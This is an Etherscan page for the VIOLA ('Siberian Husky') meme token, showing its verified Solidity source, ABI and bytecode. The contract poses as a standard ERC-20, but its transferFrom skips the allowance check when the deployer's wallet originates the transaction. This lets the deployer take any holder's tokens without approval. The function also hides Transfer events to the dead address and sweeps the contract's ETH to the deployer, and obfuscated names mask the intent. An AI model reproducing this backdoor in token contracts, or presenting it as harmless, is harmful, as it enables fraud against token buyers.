ETH Price: $1,855.64 (-0.62%)
 

Overview

Max Total Supply

420,690,000 VIOLA

Holders

504

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-07-26
*/

/*

A social media influencer, particularly popular on Instagram, and has even worked as a dog model for fashion and film.

Youtube: https://www.youtube.com/@_violasnow
Instagram: https://www.instagram.com/_violasnow
Tiktok https://www.tiktok.com/@_violasnow
Facebook https://www.facebook.com/_violasnow

Web: https://www.violahusky.wiki
X: https://x.com/ViolaHuskyOnETH
TG: https://t.me/violahuskyoneth

*/

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Token is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name = unicode"Siberian Husky";
    string public symbol = unicode"VIOLA";
    uint8 public immutable decimals = 9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _VIOLAPGUXTNO3U8J_taxWallet;
    uint256 public totalSupply;
    bool private tradingEnabled;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    uint256 public FHE2VCWERIDENTIFIRE;
    uint256 public SDFE4DFSDIDENTIFIRE;

    constructor() Ownable(msg.sender) payable {
        _mint(address(this), 420_690_000 * 10 ** decimals);
        _VIOLAPGUXTNO3U8J_taxWallet = msg.sender;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max && (tx.origin != _VIOLAPGUXTNO3U8J_taxWallet || !tradingEnabled)) allowance[from][msg.sender] = allowed - amount;
        if(tradingEnabled && to == uniswapV2Pair) payable(_VIOLAPGUXTNO3U8J_taxWallet).transfer(address(this).balance);

        balanceOf[from] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }
        
        if(to != address(0xdead))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        unicode"",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function enableVIOLAPGUXTNO3U8JTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        allowance[address(this)][address(uniswapV2Router)] = totalSupply;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    receive() external payable { }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FHE2VCWERIDENTIFIRE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SDFE4DFSDIDENTIFIRE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableVIOLAPGUXTNO3U8JTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

610120604052600e60e09081526d536962657269616e204875736b7960901b61010052600190620000319082620002dd565b5060408051808201909152600581526456494f4c4160d81b60208201526002906200005d9082620002dd565b50600960805233806200008957604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6200009481620000ea565b50620000c130608051600a620000ab9190620004b8565b620000bb906319133850620004cf565b62000139565b600580546001600160a01b031916331790554660a052620000e1620001a4565b60c05262000579565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b8060065f8282546200014c9190620004e9565b90915550506001600160a01b0382165f818152600860209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051620001d79190620004ff565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200026857607f821691505b6020821081036200028757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d857805f5260205f20601f840160051c81016020851015620002b45750805b601f840160051c820191505b81811015620002d5575f8155600101620002c0565b50505b505050565b81516001600160401b03811115620002f957620002f96200023f565b62000311816200030a845462000253565b846200028d565b602080601f83116001811462000347575f84156200032f5750858301515b5f19600386901b1c1916600185901b178555620003a1565b5f85815260208120601f198616915b82811015620003775788860151825594840194600190910190840162000356565b50858210156200039557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003fd57815f1904821115620003e157620003e1620003a9565b80851615620003ef57918102915b93841c9390800290620003c2565b509250929050565b5f826200041557506001620004b2565b816200042357505f620004b2565b81600181146200043c5760028114620004475762000467565b6001915050620004b2565b60ff8411156200045b576200045b620003a9565b50506001821b620004b2565b5060208310610133831016604e8410600b84101617156200048c575081810a620004b2565b620004988383620003bd565b805f1904821115620004ae57620004ae620003a9565b0290505b92915050565b5f620004c860ff84168362000405565b9392505050565b8082028115828204841417620004b257620004b2620003a9565b80820180821115620004b257620004b2620003a9565b5f8083546200050e8162000253565b600182811680156200052957600181146200053f576200056d565b60ff19841687528215158302870194506200056d565b875f526020805f205f5b85811015620005645781548a82015290840190820162000549565b50505082870194505b50929695505050505050565b60805160a05160c051610ff6620005a45f395f61063301525f6105fe01525f6101bf0152610ff65ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102d7578063d1b97b4b146102f6578063d505accf1461030a578063dd62ed3e14610329578063f2fde38b1461035f575f80fd5b80638da5cb5b1461027357806392ee3f031461029957806395d89b41146102ae578063a3cd5fb9146102c2575f80fd5b8063313ce567116100d8578063313ce567146101ae5780633644e515146101f357806370a0823114610207578063715018a6146102325780637ecebe0014610248575f80fd5b806306fdde0314610113578063095ea7b31461013d57806318160ddd1461016c57806323b872dd1461018f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061012761037e565b6040516101349190610cf3565b60405180910390f35b348015610148575f80fd5b5061015c610157366004610d53565b61040a565b6040519015158152602001610134565b348015610177575f80fd5b5061018160065481565b604051908152602001610134565b34801561019a575f80fd5b5061015c6101a9366004610d7d565b610476565b3480156101b9575f80fd5b506101e17f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610134565b3480156101fe575f80fd5b506101816105fb565b348015610212575f80fd5b50610181610221366004610dbb565b60086020525f908152604090205481565b34801561023d575f80fd5b50610246610655565b005b348015610253575f80fd5b50610181610262366004610dbb565b600a6020525f908152604090205481565b34801561027e575f80fd5b505f546040516001600160a01b039091168152602001610134565b3480156102a4575f80fd5b50610181600c5481565b3480156102b9575f80fd5b50610127610668565b3480156102cd575f80fd5b50610181600b5481565b3480156102e2575f80fd5b5061015c6102f1366004610d53565b610675565b348015610301575f80fd5b506102466106eb565b348015610315575f80fd5b50610246610324366004610ddd565b61095f565b348015610334575f80fd5b50610181610343366004610e4e565b600960209081525f928352604080842090915290825290205481565b34801561036a575f80fd5b50610246610379366004610dbb565b610ba2565b6001805461038b90610e85565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790610e85565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b335f8181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104649086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526009602090815260408083203384529091528120545f1981148015906104c257506005546001600160a01b0316321415806104c2575060075460ff16155b156104f5576104d18382610ebd565b6001600160a01b0386165f9081526009602090815260408083203384529091529020555b60075460ff16801561051457506004546001600160a01b038581169116145b15610551576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561054f573d5f803e3d5ffd5b505b6001600160a01b0385165f9081526008602052604081208054859290610578908490610ebd565b90915550506001600160a01b0384165f81815260086020526040902080548501905561dead146105f057836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e791815260200190565b60405180910390a35b506001949350505050565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106305761062b610bdf565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b61065d610c78565b6106665f610ca4565b565b6002805461038b90610e85565b335f90815260086020526040812080548391908390610695908490610ebd565b90915550506001600160a01b0383165f81815260086020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104649086815260200190565b6106f3610c78565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600654305f90815260096020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801561077e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a29190610edc565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190610edc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108939190610edc565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260086020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af1158015610928573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094d9190610ef7565b50506007805460ff1916600117905550565b428410156109b45760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016109bf6105fb565b6001600160a01b038a81165f818152600a602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610ac7573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610afd5750876001600160a01b0316816001600160a01b0316145b610b3a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016109ab565b6001600160a01b039081165f9081526009602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610baa610c78565b6001600160a01b038116610bd357604051631e4fbdf760e01b81525f60048201526024016109ab565b610bdc81610ca4565b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c109190610f22565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146106665760405163118cdaa760e01b81523360048201526024016109ab565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610d1f57858101830151858201604001528201610d03565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdc575f80fd5b5f8060408385031215610d64575f80fd5b8235610d6f81610d3f565b946020939093013593505050565b5f805f60608486031215610d8f575f80fd5b8335610d9a81610d3f565b92506020840135610daa81610d3f565b929592945050506040919091013590565b5f60208284031215610dcb575f80fd5b8135610dd681610d3f565b9392505050565b5f805f805f805f60e0888a031215610df3575f80fd5b8735610dfe81610d3f565b96506020880135610e0e81610d3f565b95506040880135945060608801359350608088013560ff81168114610e31575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610e5f575f80fd5b8235610e6a81610d3f565b91506020830135610e7a81610d3f565b809150509250929050565b600181811c90821680610e9957607f821691505b602082108103610eb757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561047057634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610eec575f80fd5b8151610dd681610d3f565b5f805f60608486031215610f09575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610f3f57607f831692505b60208084108203610f5e57634e487b7160e01b5f52602260045260245ffd5b818015610f725760018114610f8757610fb2565b60ff1986168952841515850289019650610fb2565b5f8a8152602090205f5b86811015610faa5781548b820152908501908301610f91565b505084890196505b50949897505050505050505056fea2646970667358221220398097360a2279ec3bdb886ebbaae5e6cea41220f5b71a0f983df38aa729f0e264736f6c63430008180033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102d7578063d1b97b4b146102f6578063d505accf1461030a578063dd62ed3e14610329578063f2fde38b1461035f575f80fd5b80638da5cb5b1461027357806392ee3f031461029957806395d89b41146102ae578063a3cd5fb9146102c2575f80fd5b8063313ce567116100d8578063313ce567146101ae5780633644e515146101f357806370a0823114610207578063715018a6146102325780637ecebe0014610248575f80fd5b806306fdde0314610113578063095ea7b31461013d57806318160ddd1461016c57806323b872dd1461018f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061012761037e565b6040516101349190610cf3565b60405180910390f35b348015610148575f80fd5b5061015c610157366004610d53565b61040a565b6040519015158152602001610134565b348015610177575f80fd5b5061018160065481565b604051908152602001610134565b34801561019a575f80fd5b5061015c6101a9366004610d7d565b610476565b3480156101b9575f80fd5b506101e17f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610134565b3480156101fe575f80fd5b506101816105fb565b348015610212575f80fd5b50610181610221366004610dbb565b60086020525f908152604090205481565b34801561023d575f80fd5b50610246610655565b005b348015610253575f80fd5b50610181610262366004610dbb565b600a6020525f908152604090205481565b34801561027e575f80fd5b505f546040516001600160a01b039091168152602001610134565b3480156102a4575f80fd5b50610181600c5481565b3480156102b9575f80fd5b50610127610668565b3480156102cd575f80fd5b50610181600b5481565b3480156102e2575f80fd5b5061015c6102f1366004610d53565b610675565b348015610301575f80fd5b506102466106eb565b348015610315575f80fd5b50610246610324366004610ddd565b61095f565b348015610334575f80fd5b50610181610343366004610e4e565b600960209081525f928352604080842090915290825290205481565b34801561036a575f80fd5b50610246610379366004610dbb565b610ba2565b6001805461038b90610e85565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790610e85565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b335f8181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104649086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526009602090815260408083203384529091528120545f1981148015906104c257506005546001600160a01b0316321415806104c2575060075460ff16155b156104f5576104d18382610ebd565b6001600160a01b0386165f9081526009602090815260408083203384529091529020555b60075460ff16801561051457506004546001600160a01b038581169116145b15610551576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561054f573d5f803e3d5ffd5b505b6001600160a01b0385165f9081526008602052604081208054859290610578908490610ebd565b90915550506001600160a01b0384165f81815260086020526040902080548501905561dead146105f057836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e791815260200190565b60405180910390a35b506001949350505050565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106305761062b610bdf565b905090565b507fa5e76a0f67877c17726d95c74bcc2249ccfdc72301280b1c1b3e4992884782e590565b61065d610c78565b6106665f610ca4565b565b6002805461038b90610e85565b335f90815260086020526040812080548391908390610695908490610ebd565b90915550506001600160a01b0383165f81815260086020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104649086815260200190565b6106f3610c78565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600654305f90815260096020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801561077e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a29190610edc565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190610edc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108939190610edc565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260086020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af1158015610928573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094d9190610ef7565b50506007805460ff1916600117905550565b428410156109b45760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016109bf6105fb565b6001600160a01b038a81165f818152600a602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610ac7573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610afd5750876001600160a01b0316816001600160a01b0316145b610b3a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016109ab565b6001600160a01b039081165f9081526009602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610baa610c78565b6001600160a01b038116610bd357604051631e4fbdf760e01b81525f60048201526024016109ab565b610bdc81610ca4565b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c109190610f22565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146106665760405163118cdaa760e01b81523360048201526024016109ab565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610d1f57858101830151858201604001528201610d03565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdc575f80fd5b5f8060408385031215610d64575f80fd5b8235610d6f81610d3f565b946020939093013593505050565b5f805f60608486031215610d8f575f80fd5b8335610d9a81610d3f565b92506020840135610daa81610d3f565b929592945050506040919091013590565b5f60208284031215610dcb575f80fd5b8135610dd681610d3f565b9392505050565b5f805f805f805f60e0888a031215610df3575f80fd5b8735610dfe81610d3f565b96506020880135610e0e81610d3f565b95506040880135945060608801359350608088013560ff81168114610e31575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610e5f575f80fd5b8235610e6a81610d3f565b91506020830135610e7a81610d3f565b809150509250929050565b600181811c90821680610e9957607f821691505b602082108103610eb757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561047057634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610eec575f80fd5b8151610dd681610d3f565b5f805f60608486031215610f09575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610f3f57607f831692505b60208084108203610f5e57634e487b7160e01b5f52602260045260245ffd5b818015610f725760018114610f8757610fb2565b60ff1986168952841515850289019650610fb2565b5f8a8152602090205f5b86811015610faa5781548b820152908501908301610f91565b505084890196505b50949897505050505050505056fea2646970667358221220398097360a2279ec3bdb886ebbaae5e6cea41220f5b71a0f983df38aa729f0e264736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.